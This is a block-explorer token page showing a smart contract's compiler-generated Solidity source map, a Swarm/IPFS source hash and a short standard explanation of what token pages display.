i;:::-;3278:210;;;;:::o;3494:118::-;3581:24;3599:5;3581:24;:::i;:::-;3576:3;3569:37;3494:118;;:::o;3618:222::-;3711:4;3749:2;3738:9;3734:18;3726:26;;3762:71;3830:1;3819:9;3815:17;3806:6;3762:71;:::i;:::-;3618:222;;;;:::o;3846:619::-;3923:6;3931;3939;3988:2;3976:9;3967:7;3963:23;3959:32;3956:119;;;3994:79;;:::i;:::-;3956:119;4114:1;4139:53;4184:7;4175:6;4164:9;4160:22;4139:53;:::i;:::-;4129:63;;4085:117;4241:2;4267:53;4312:7;4303:6;4292:9;4288:22;4267:53;:::i;:::-;4257:63;;4212:118;4369:2;4395:53;4440:7;4431:6;4420:9;4416:22;4395:53;:::i;:::-;4385:63;;4340:118;3846:619;;;;;:::o;4471:329::-;4530:6;4579:2;4567:9;4558:7;4554:23;4550:32;4547:119;;;4585:79;;:::i;:::-;4547:119;4705:1;4730:53;4775:7;4766:6;4755:9;4751:22;4730:53;:::i;:::-;4720:63;;4676:117;4471:329;;;;:::o;4806:118::-;4893:24;4911:5;4893:24;:::i;:::-;4888:3;4881:37;4806:118;;:::o;4930:222::-;5023:4;5061:2;5050:9;5046:18;5038:26;;5074:71;5142:1;5131:9;5127:17;5118:6;5074:71;:::i;:::-;4930:222;;;;:::o;5158:474::-;5226:6;5234;5283:2;5271:9;5262:7;5258:23;5254:32;5251:119;;;5289:79;;:::i;:::-;5251:119;5409:1;5434:53;5479:7;5470:6;5459:9;5455:22;5434:53;:::i;:::-;5424:63;;5380:117;5536:2;5562:53;5607:7;5598:6;5587:9;5583:22;5562:53;:::i;:::-;5552:63;;5507:118;5158:474;;;;;:::o;5638:180::-;5686:77;5683:1;5676:88;5783:4;5780:1;5773:15;5807:4;5804:1;5797:15;5824:320;5868:6;5905:1;5899:4;5895:12;5885:22;;5952:1;5946:4;5942:12;5973:18;5963:81;;6029:4;6021:6;6017:17;6007:27;;5963:81;6091:2;6083:6;6080:14;6060:18;6057:38;6054:84;;6110:18;;:::i;:::-;6054:84;5875:269;5824:320;;;:::o;6150:180::-;6198:77;6195:1;6188:88;6295:4;6292:1;6285:15;6319:4;6316:1;6309:15;6336:305;6376:3;6395:20;6413:1;6395:20;:::i;:::-;6390:25;;6429:20;6447:1;6429:20;:::i;:::-;6424:25;;6583:1;6515:66;6511:74;6508:1;6505:81;6502:107;;;6589:18;;:::i;:::-;6502:107;6633:1;6630;6626:9;6619:16;;6336:305;;;;:::o;6647:182::-;6787:34;6783:1;6775:6;6771:14;6764:58;6647:182;:::o;6835:366::-;6977:3;6998:67;7062:2;7057:3;6998:67;:::i;:::-;6991:74;;7074:93;7163:3;7074:93;:::i;:::-;7192:2;7187:3;7183:12;7176:19;;6835:366;;;:::o;7207:419::-;7373:4;7411:2;7400:9;7396:18;7388:26;;7460:9;7454:4;7450:20;7446:1;7435:9;7431:17;7424:47;7488:131;7614:4;7488:131;:::i;:::-;7480:139;;7207:419;;;:::o;7632:191::-;7672:4;7692:20;7710:1;7692:20;:::i;:::-;7687:25;;7726:20;7744:1;7726:20;:::i;:::-;7721:25;;7765:1;7762;7759:8;7756:34;;;7770:18;;:::i;:::-;7756:34;7815:1;7812;7808:9;7800:17;;7632:191;;;;:::o;7829:224::-;7969:34;7965:1;7957:6;7953:14;7946:58;8038:7;8033:2;8025:6;8021:15;8014:32;7829:224;:::o;8059:366::-;8201:3;8222:67;8286:2;8281:3;8222:67;:::i;:::-;8215:74;;8298:93;8387:3;8298:93;:::i;:::-;8416:2;8411:3;8407:12;8400:19;;8059:366;;;:::o;8431:419::-;8597:4;8635:2;8624:9;8620:18;8612:26;;8684:9;8678:4;8674:20;8670:1;8659:9;8655:17;8648:47;8712:131;8838:4;8712:131;:::i;:::-;8704:139;;8431:419;;;:::o;8856:222::-;8996:34;8992:1;8984:6;8980:14;8973:58;9065:5;9060:2;9052:6;9048:15;9041:30;8856:222;:::o;9084:366::-;9226:3;9247:67;9311:2;9306:3;9247:67;:::i;:::-;9240:74;;9323:93;9412:3;9323:93;:::i;:::-;9441:2;9436:3;9432:12;9425:19;;9084:366;;;:::o;9456:419::-;9622:4;9660:2;9649:9;9645:18;9637:26;;9709:9;9703:4;9699:20;9695:1;9684:9;9680:17;9673:47;9737:131;9863:4;9737:131;:::i;:::-;9729:139;;9456:419;;;:::o;9881:332::-;10002:4;10040:2;10029:9;10025:18;10017:26;;10053:71;10121:1;10110:9;10106:17;10097:6;10053:71;:::i;:::-;10134:72;10202:2;10191:9;10187:18;10178:6;10134:72;:::i;:::-;9881:332;;;;;:::o;10219:116::-;10289:21;10304:5;10289:21;:::i;:::-;10282:5;10279:32;10269:60;;10325:1;10322;10315:12;10269:60;10219:116;:::o;10341:137::-;10395:5;10426:6;10420:13;10411:22;;10442:30;10466:5;10442:30;:::i;:::-;10341:137;;;;:::o;10484:345::-;10551:6;10600:2;10588:9;10579:7;10575:23;10571:32;10568:119;;;10606:79;;:::i;:::-;10568:119;10726:1;10751:61;10804:7;10795:6;10784:9;10780:22;10751:61;:::i;:::-;10741:71;;10697:125;10484:345;;;;:::o;10835:180::-;10883:77;10880:1;10873:88;10980:4;10977:1;10970:15;11004:4;11001:1;10994:15;11021:180;11069:77;11066:1;11059:88;11166:4;11163:1;11156:15;11190:4;11187:1;11180:15;11207:143;11264:5;11295:6;11289:13;11280:22;;11311:33;11338:5;11311:33;:::i;:::-;11207:143;;;;:::o;11356:351::-;11426:6;11475:2;11463:9;11454:7;11450:23;11446:32;11443:119;;;11481:79;;:::i;:::-;11443:119;11601:1;11626:64;11682:7;11673:6;11662:9;11658:22;11626:64;:::i;:::-;11616:74;;11572:128;11356:351;;;;:::o;11713:85::-;11758:7;11787:5;11776:16;;11713:85;;;:::o;11804:60::-;11832:3;11853:5;11846:12;;11804:60;;;:::o;11870:158::-;11928:9;11961:61;11979:42;11988:32;12014:5;11988:32;:::i;:::-;11979:42;:::i;:::-;11961:61;:::i;:::-;11948:74;;11870:158;;;:::o;12034:147::-;12129:45;12168:5;12129:45;:::i;:::-;12124:3;12117:58;12034:147;;:::o;12187:114::-;12254:6;12288:5;12282:12;12272:22;;12187:114;;;:::o;12307:184::-;12406:11;12440:6;12435:3;12428:19;12480:4;12475:3;12471:14;12456:29;;12307:184;;;;:::o;12497:132::-;12564:4;12587:3;12579:11;;12617:4;12612:3;12608:14;12600:22;;12497:132;;;:::o;12635:108::-;12712:24;12730:5;12712:24;:::i;:::-;12707:3;12700:37;12635:108;;:::o;12749:179::-;12818:10;12839:46;12881:3;12873:6;12839:46;:::i;:::-;12917:4;12912:3;12908:14;12894:28;;12749:179;;;;:::o;12934:113::-;13004:4;13036;13031:3;13027:14;13019:22;;12934:113;;;:::o;13083:732::-;13202:3;13231:54;13279:5;13231:54;:::i;:::-;13301:86;13380:6;13375:3;13301:86;:::i;:::-;13294:93;;13411:56;13461:5;13411:56;:::i;:::-;13490:7;13521:1;13506:284;13531:6;13528:1;13525:13;13506:284;;;13607:6;13601:13;13634:63;13693:3;13678:13;13634:63;:::i;:::-;13627:70;;13720:60;13773:6;13720:60;:::i;:::-;13710:70;;13566:224;13553:1;13550;13546:9;13541:14;;13506:284;;;13510:14;13806:3;13799:10;;13207:608;;;13083:732;;;;:::o;13821:831::-;14084:4;14122:3;14111:9;14107:19;14099:27;;14136:71;14204:1;14193:9;14189:17;14180:6;14136:71;:::i;:::-;14217:80;14293:2;14282:9;14278:18;14269:6;14217:80;:::i;:::-;14344:9;14338:4;14334:20;14329:2;14318:9;14314:18;14307:48;14372:108;14475:4;14466:6;14372:108;:::i;:::-;14364:116;;14490:72;14558:2;14547:9;14543:18;14534:6;14490:72;:::i;:::-;14572:73;14640:3;14629:9;14625:19;14616:6;14572:73;:::i;:::-;13821:831;;;;;;;;:::o;14658:652::-;14857:4;14895:3;14884:9;14880:19;14872:27;;14909:71;14977:1;14966:9;14962:17;14953:6;14909:71;:::i;:::-;14990:72;15058:2;15047:9;15043:18;15034:6;14990:72;:::i;:::-;15072:66;15134:2;15123:9;15119:18;15110:6;15072:66;:::i;:::-;15148:72;15216:2;15205:9;15201:18;15192:6;15148:72;:::i;:::-;15230:73;15298:3;15287:9;15283:19;15274:6;15230:73;:::i;:::-;14658:652;;;;;;;;:::o;15316:348::-;15356:7;15379:20;15397:1;15379:20;:::i;:::-;15374:25;;15413:20;15431:1;15413:20;:::i;:::-;15408:25;;15601:1;15533:66;15529:74;15526:1;15523:81;15518:1;15511:9;15504:17;15500:105;15497:131;;;15608:18;;:::i;:::-;15497:131;15656:1;15653;15649:9;15638:20;;15316:348;;;;:::o;15670:180::-;15718:77;15715:1;15708:88;15815:4;15812:1;15805:15;15839:4;15836:1;15829:15;15856:185;15896:1;15913:20;15931:1;15913:20;:::i;:::-;15908:25;;15947:20;15965:1;15947:20;:::i;:::-;15942:25;;15986:1;15976:35;;15991:18;;:::i;:::-;15976:35;16033:1;16030;16026:9;16021:14;;15856:185;;;;:::o;16047:220::-;16187:34;16183:1;16175:6;16171:14;16164:58;16256:3;16251:2;16243:6;16239:15;16232:28;16047:220;:::o;16273:366::-;16415:3;16436:67;16500:2;16495:3;16436:67;:::i;:::-;16429:74;;16512:93;16601:3;16512:93;:::i;:::-;16630:2;16625:3;16621:12;16614:19;;16273:366;;;:::o;16645:419::-;16811:4;16849:2;16838:9;16834:18;16826:26;;16898:9;16892:4;16888:20;16884:1;16873:9;16869:17;16862:47;16926:131;17052:4;16926:131;:::i;:::-;16918:139;;16645:419;;;:::o;17070:176::-;17210:28;17206:1;17198:6;17194:14;17187:52;17070:176;:::o;17252:366::-;17394:3;17415:67;17479:2;17474:3;17415:67;:::i;:::-;17408:74;;17491:93;17580:3;17491:93;:::i;:::-;17609:2;17604:3;17600:12;17593:19;;17252:366;;;:::o;17624:419::-;17790:4;17828:2;17817:9;17813:18;17805:26;;17877:9;17871:4;17867:20;17863:1;17852:9;17848:17;17841:47;17905:131;18031:4;17905:131;:::i;:::-;17897:139;;17624:419;;;:::o
Swarm Source
ipfs://4d356a78119e6068c5ff9a6217735b69d5a30b751eebc56e0721495448f6c000
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.